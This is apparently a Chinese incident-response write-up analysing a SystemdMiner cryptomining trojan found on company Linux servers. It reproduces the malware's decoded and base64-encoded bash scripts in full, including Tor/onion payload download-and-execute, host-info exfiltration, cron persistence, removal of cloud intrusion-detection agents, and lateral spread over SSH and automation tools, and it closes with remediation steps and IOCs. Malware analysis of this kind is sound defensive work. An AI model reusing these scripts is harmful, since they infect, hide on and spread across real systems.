SystemedMiner挖矿木马分析与处置 最新补充:因为这类病毒涉及二进制知识较多,且自己水平有限,参考师傅们博客较多,可能会有哪些地方理解错误,还请各位师傅指正。
感谢一条咸鱼师傅的指正:
先登陆到208的主机去查看一下,查看下进程CPU使用率正常,并无挖矿迹象,可能是防火墙策略开启,木马连接不上矿池,先暂时隐蔽下来了
(这里要注意的是区分系统进程和木马进程,因为很多木马的进程都是以随机字符名称出现的,例如kswapd1
和kswapd0
也比较类似,但是这两个进程是系统进程,所以不要混淆,其实如果挖矿进程在跑的话,很容易便会发现其进程PID和名称)
通常挖矿木马都会去写一个计划任务,来防止挖矿进程被删掉,这里看了一位大师傅的溯源分析,提到了cron在执行时,会读取三个地方的配置文件:一是/etc/crontab
,二是/etc/cron.d
目录下的所有文件,三是每个用户的配置文件,所以挖矿木马可能会有多个定时任务存在
果然存在两个定时任务,查看一下里面的内容两个文件内容一致,且内容为base64编码,先对其进行解码处理,而且virustotal
判断为恶意文件
分析一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0 exec &>/dev/null #不输出出错和输出信息 export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin # 获取当前用户的家目录 d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) # 获取执行命令 c=$(echo "curl -4fsSLkA- -m200") # C&C域名为fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.* t=$(echo "fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad") sockz() { n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in")#代理域名relay.tor2socks.in q=${n[$((RANDOM%${#n[@]}))]} s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1) } # 在几个目录路径里寻找一个有读写权限的路径 fexe() { for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done } u() { sockz f=/int.$(uname -m) x=./$(date|md5sum|cut -f1 -d-) #用当前时间生成 md5 码 r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)#crontab计划任务执行 # 下载病毒母体,随机方式进行命名,通过socket5的方式用relay.tor2socks.in代理访问C&C域名 $ c -x socks5h://$s :9050 $t .onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x;$x;rm -f $x#运行后删除病毒文件 } for h in tor2web.in tor2web.it do # 检查木马是否存在,若不存在则调用fexe测试执行,接着调用u $t .$h 进行木马文件的下载 if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then fexe;u $t.$h # 再次查看进程状态,若没有继续下载木马 ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h) ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h) else break fi done
sockz()
函数通过doh
查询IP,通过这种方法既可以提供加密保护dns查询结果,又可以绕过各大厂商IDS里恶意域名的IOC
1 https://doh.pub/dns-query?name=relay.tor2socks.in
经过分析,这个样本的执行的总体流程如下:
doh解析域名获取tor代理IP
查找目标主机可读写的路径
通过tor代理在C&C服务器上下载与目标主机硬件版本相匹配的恶意文件
开启crontab计划任务并执行
根据pid文件返回脚本执行结果并进行判断
根据这个样本的特征查了下资料,发现和SystemdMiner
挖矿木马比较类似,特点如下:
访问带有tor2web、onion
字符串的域名
在/tmp目录下有systemd*
的文件
并且这个SystemdMiner
是一个变种,除了更新了C&C域名,使用socks5代理的方式访问C&C域名从而实现绕过安全网关的目的,其余的特征与以往其他版本类似,通过上面的分析,知道该脚本会创建一个/tmp/.X11-unix/
文件夹,里面存放着的是进程PID
通过PID找一下病毒文件位置
发现病毒文件已经都被删除,查看一下00、01这些文件是什么时间创建的,可以对比一下其他机器的时间,找出最早的时间,方便后面的溯源
看了许多师傅们分析的文章,.X11-unix
文件夹下的文件作用如下:
01
文件
守护进程pid
11
文件
病毒运行进程pid
22
文件
可能为SSH爆破进程pid
查看一下01和11的进程状态
1 2 3 1.ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status 2.ps -ef|grep 13485 3.lsof -p 13485
01通过 lsof 判断,没有发现有外连或打开端口的现象
再查看11的进程状态,发现有外连
但是较为奇怪的是,攻击者只是上传了一个守护进程,找不到下载的病毒文件,CPU也没有异常,为了防止出现问题,还是先将定时任务以及进程先杀掉,接下来将病毒文件下载起来在虚拟机执行一下。
虚拟机执行测试 先按照守护进程下载病毒文件的方式,将病毒文件下载起来
1 $ curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it/int.x86_64 -o int.x86_64 -e183.134.110.75
执行一下该ELF文件,发现crotab
定时任务增加了新的一项任务,且root目录下生成了该任务所指向的新的脚本文件
查看一下该脚本文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 # !/bin/bash FBGJOndscVOU2PKZGWF8C6kibWnyHLP exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "4t5ypbzi2kko7tqmk6y345ntpmctwj5jmu3cebxsnonsdljyyfs335ad") # C&C服务器域名前缀不同 sockz() { n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in") q=${n[$((RANDOM%${#n[@]}))]} s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1) } fexe() { for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done } u() { sockz f=/int.$(uname -m) x=./$(date|md5sum|cut -f1 -d-) r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0) $ c -x socks5h://$s :9050 $t .onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x;$x;rm -f $x } for h in tor2web.in tor2web.it do if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then fexe;u $t.$h ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h) ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h) else break fi done
这个脚本和之前服务器存在的那个守护进程脚本功能相同(都是通过tor
代理从C&C
服务器上down下木马文件并执行),但和上面服务器的那个脚本对比一下也会发现有两处不同的地方:
新脚本文件的C&C
服务器域名前缀与前面的不同
代码前的字符串不同,之前服务器上的是uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0
,而新的脚本文件中则是FBGJOndscVOU2PKZGWF8C6kibWnyHLP
,与文件名相同
猜测代码前的字符串便是其命名中的一部分,就对该字符串进行一次全局搜索
1 find / 2>/dev/null | grep FBGJOndscVOU2PKZGWF8C6kibWnyHLP
发现三个类似的脚本文件,查看了一下内容都一致,应该是作为备份文件以防其中某一个被删
查看了深信服千里目安全实验室的文章和此类情况类似,可以从病毒母体ELF文件中逆向分析出5个不同的bash命令,若tor代理可用则可以使用下面的方法去下载出各个模块
1 curl -4fsSLkA -m200 -x socks5h://92.190.141.62:9050 4t5ypbzi2kko7tqmk6y345cebxsnonsdljyyfs335ad.onion/sshd ntpmctwj5jmu3cebxsnonsdljyyfs335ad.onion/sshd
但由于目前还不会IDA逆向调试,而且tor代理IP拒绝连接,就先使用师傅扒出来源码学习一下
分别用于下载不同模块和执行不同的功能,功能如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) x() { if ! ls $d/.systemd-private-*.sh; then grep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "#\x21/bin/bash\nexec &>/dev/null\necho C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu\necho QzBQZ0Z6MkpIY3Bzd1ZNT0s3WFNIUW9kRE9yQVdJS3UKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAid2FjcG5uc280b3R0eGx5dmpwMmFkYWllYWl2eHgyc2F4b3ltZWRuaWRwM3p5Zm9xZmM1anBxYWQiKQoKc29ja3ooKSB7Cm49KGRvaC50aGlzLndlYi5pZCBkb2gucG9zdC1mYWN0dW0udGsgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgcmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTExKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC1uIDEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d|bash" > $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh touch -r /bin/grep $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh chmod +x $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh fi if ! ls /opt/systemd-private-*.sh; then grep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "与上面内容相同|base64 -d|bash" > /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh touch -r /bin/grep /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh chmod +x /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh fi if ! ls /etc/cron.d/0systemd-private-*; then grep C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu || echo "$(echo $((RANDOM%59))) * * * * root /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &" > /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu touch -r /bin/grep /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu fi if ! crontab -l | grep ^[0-9] | grep systemd-private; then (echo "$(echo $((RANDOM%59))) * * * * $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &";crontab -l|grep -v systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh)|crontab - fi }
这段代码便是创建定时任务,这段代码共创建三个定时任务
/etc/cron.d/0systemd-private-*
/opt/systemd-private-*
/root/systemd-private-*
而其中的base64代码的任务便是下载母体木马int文件,和上面的守护进程内容一致
竞争对手清理 :这个脚本的主要作用便是清除服务器上其他的挖矿木马,改写hosts文件让其他挖矿无法访问对应的域名,但是经过查询虚拟机的hosts文件,并没有发现被修改(可能是tor代理节点失效了,没有下载该模块)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "5ixhieezozxwnvisopgxoba6ssbsrvdpxeduxb4jc6zx7s56rufrjzad") sockz() { n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in") s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1) } fexe() { for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done } isys() { # 写入定时任务,并且卸载assist-daemon(阿里云)、qcloud(腾讯云)的入侵检测系统 echo ZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOnKICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMK|base64 -d|bash crontab -l || yum -y install cron crontab -l || yum -y install cronie crontab -l || apt-get update && apt-get -y install cron /usr/local/share/assist-daemon/assist_daemon --stop /usr/local/share/assist-daemon/assist_daemon --delete /usr/local/qcloud/monitor/barad/admin/uninstall.sh /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /etc/init.d/aegis uninstall systemctl stop aliyun systemctl disable aliyun systemctl start cron systemctl enable cron systemctl start crond systemctl enable crond rm -rf /usr/loca/qcloud/ /usr/local/aegis/ /usr/local/share/assist-daemon/ /usr/local/share/aliyun-assist/ /usr/sbin/aliyun-service /usr/sbin/aliyun_installer /etc/systemd/system/aliyun.service } issh() { # 利用自动化运维工具ansible、salt、pssh、knife写入定时任务 ansible all -m shell -a 'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash' knife ssh 'name:*' 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash' salt '*' cmd.run 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash' pssh 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash' # 从bash的历史ssh记录中尝试去登录远程设备 hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |grep -v ^127.|awk -F: {'print $2'}|sort|uniq) for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l root $h 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash';done for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l $USER $h '与上面的base64编码一致,都是守护进程|base64 -d|bash';done } ibot() { f=/bot r=$(curl -4fsSLk ip.sb||wget -4qO- ip.sb||curl -4fsSLk checkip.amazonaws.com)_$(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0) $ c -x socks5h://$s :9050 -e$r $t .onion$f || $c -e$r $1$f } iscn() { pkill -9 -f tracepath f=/trc x=./$(date|md5sum|cut -f1 -d-) $ c -x socks5h://$s :9050 $t .onion$f -o$x || $c $1$f -o$x chmod +x $x;$x;rm -f $x } sockz fexe isys issh & ibot $t.tor2web.in || ibot $t.tor2web.it iscn $t.tor2web.in || iscn $t.tor2web.it
这个脚本的作用是先将阿里云和腾讯云的入侵检测系统给卸载掉,然后再利用自动化运维工具写入定时任务,最后就是下载两个可执行文件,一个是bot
,一个是trc
,其中trc
文件用于Hadoop Yarn未授权访问漏洞利用,bot大概率是该病毒的传播模块
病毒母体执行后会下载cpu脚本,以进行挖矿,手动下载一下试试看:
1 curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cpu -o cpu -e183.134.110.75
手动执行挖矿脚本的时候要先解除文件的锁定chattr -i cpu
,再赋权限运行
但是在本地也没有运行起来,缺失一些配置文件,可能是因为前面的模块有的没有下载导致。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "i62hmnztfpzwrhjg34m6ruxem5oe36nulzmxcgbdbkiaceubprkta7ad") sockz() { n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in") s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1) } u() { sockz f=/cmd $ c -x socks5h://$s :9050 $t .onion$f || $c $1$f } ( u $t.tor
病毒母体执行后会下载cmd脚本,用于当主机网络无法连接到矿池时,会结束掉自身的挖矿进程,增强隐蔽性,但是tor代理失效,暂时无法下载
1 curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cmd -o cmd -e183.134.110.75
如果用这种方法下载的话,很奇怪会得到下载ssh暴力破解的脚本,脚本内容也无法进行下载查看
归纳梳理 通过看师傅们的博客和自己的测试,对目前这个SystemedMiner挖矿木马也有了一定的了解,木马执行后,会下载一系列的模块和可执行脚本,用于持久化、内网横向渗透、挖矿、命令控制、清除一些入侵检测系统和其他挖矿程序,但需要使用tor代理,之所以服务器和虚拟机只有持久化的脚本(守护进程脚本),就是因为病毒母体启动后,tor代理失效,无法下载其他模块和脚本,也就只有一个守护进程脚本。
处置方法 在了解了SystemedMiner挖矿木马感染机器的过程后,防护便一目了然了,它做的主机持久化控制便是通过写定时任务,而定时任务是下载病毒母体并执行,就这样循环来控制主机,所以要清除该病毒文件
第一步便是要将定时任务删除完,通过crontab -e
移除/root/systemd-private-*
,然后再删除/etc/cron.d/0systemd-private-*
和/opt/systemd-private-*.sh
文件
再去查看/tmp/.X11-unix/
文件下01
、11
获取其PID,使用kill -9 进程id
,杀死进程
更改文件夹权限,再不清楚攻击者从哪里进来的时候,/tmp/.X11-unix/
这个文件夹可以进行保留,防止黑客重新写入,但要设置好权限
1 2 3 4 5 6 # chattr +i [file/directory]使file/directory无法被更动 chattr +i /tmp/.X11-unix/01 或 chmod -R 000 /tmp/.X11-unix/01 # 查看文件夹权限 ls -ld /tmp/.X11-unix/
4.若服务器中运行了其他的一些模块和脚本,杀相关进程和文件,重复上面的方法即可
溯源分析
该木马通过bash命令下载执行多个功能模块,通过SSH暴力破解、SSH免密登录利用、Hadoop Yarn未授权访问漏洞和自动化运维工具内网扩散,且该木马的文件下载均利用暗网代理,感染后会清除主机上的其他挖矿木马,以达到资源独占的目的
看了很多类似挖矿木马的文章,黑客入口都指向Hadoop Yarn未授权访问或是SSH爆破密码,既然内网的主机全被感染了,逐一来排查一下
Hadoop-yarn-未授权访问漏洞
影响版本:3.3.0 以下、
通过REST API创建并提交任务,YARN执行任务,下载执行恶意sh脚本
先看一下当前服务器的Hadoop版本,版本在3.3.0以下,有未授权访问的风险
可以查看下有关yarn的进程,看看有没有挖矿程序
查看了几天被感染的服务器都未发现相关信息,只能去排查一下YARN日志,看看是否有异常的application
,204的主机曾关闭过防火墙,优先去排查一下204这台主机
1 2 3 4 yarn application -list -appStates ALL #不显示时间信息 yarn logs -applicationId application_1647720164720_1130 # 匹配关键字 yarn application -list -appStates ALL | grep curl
也没有发现什么线索。
既然在服务器上都没有下载出相应的控制、挖矿文件或模块,说明代理失效,那ssh模块也应该是无法下载的,猜测可能是自动化运维工具写入,但服务器上没有这一类工具,只能说明是利用SSH免密码登录进去的,这个病毒母体恰好有这个功能,恰好服务器也是有这个免登的功能,所以初步推断内网横向感染的原因就是因为免密码登录
SSH暴力破解进入其他内网主机应该不太现实,因为都是强口令,不容易被爆破出来的,而且公司服务器都有防护,如果大量爆破发包的话也会产生警告,因此这样也可以排除是SSH爆破进入服务器的。
目前暂不能判断攻击者是从哪里进来的,只能先进行处置,保留病毒文件夹,修改权限,以防下次再写入
总结
建议将免登取消掉,以防某一台感染后横向传染其他服务器
IOCS 守护进程样本hash: MD5 d61b3ba654ad546cc49d5ace7de0e309
SHA-1 ca852b6b7f5e52a17661456ae37e0e6009c87ac3
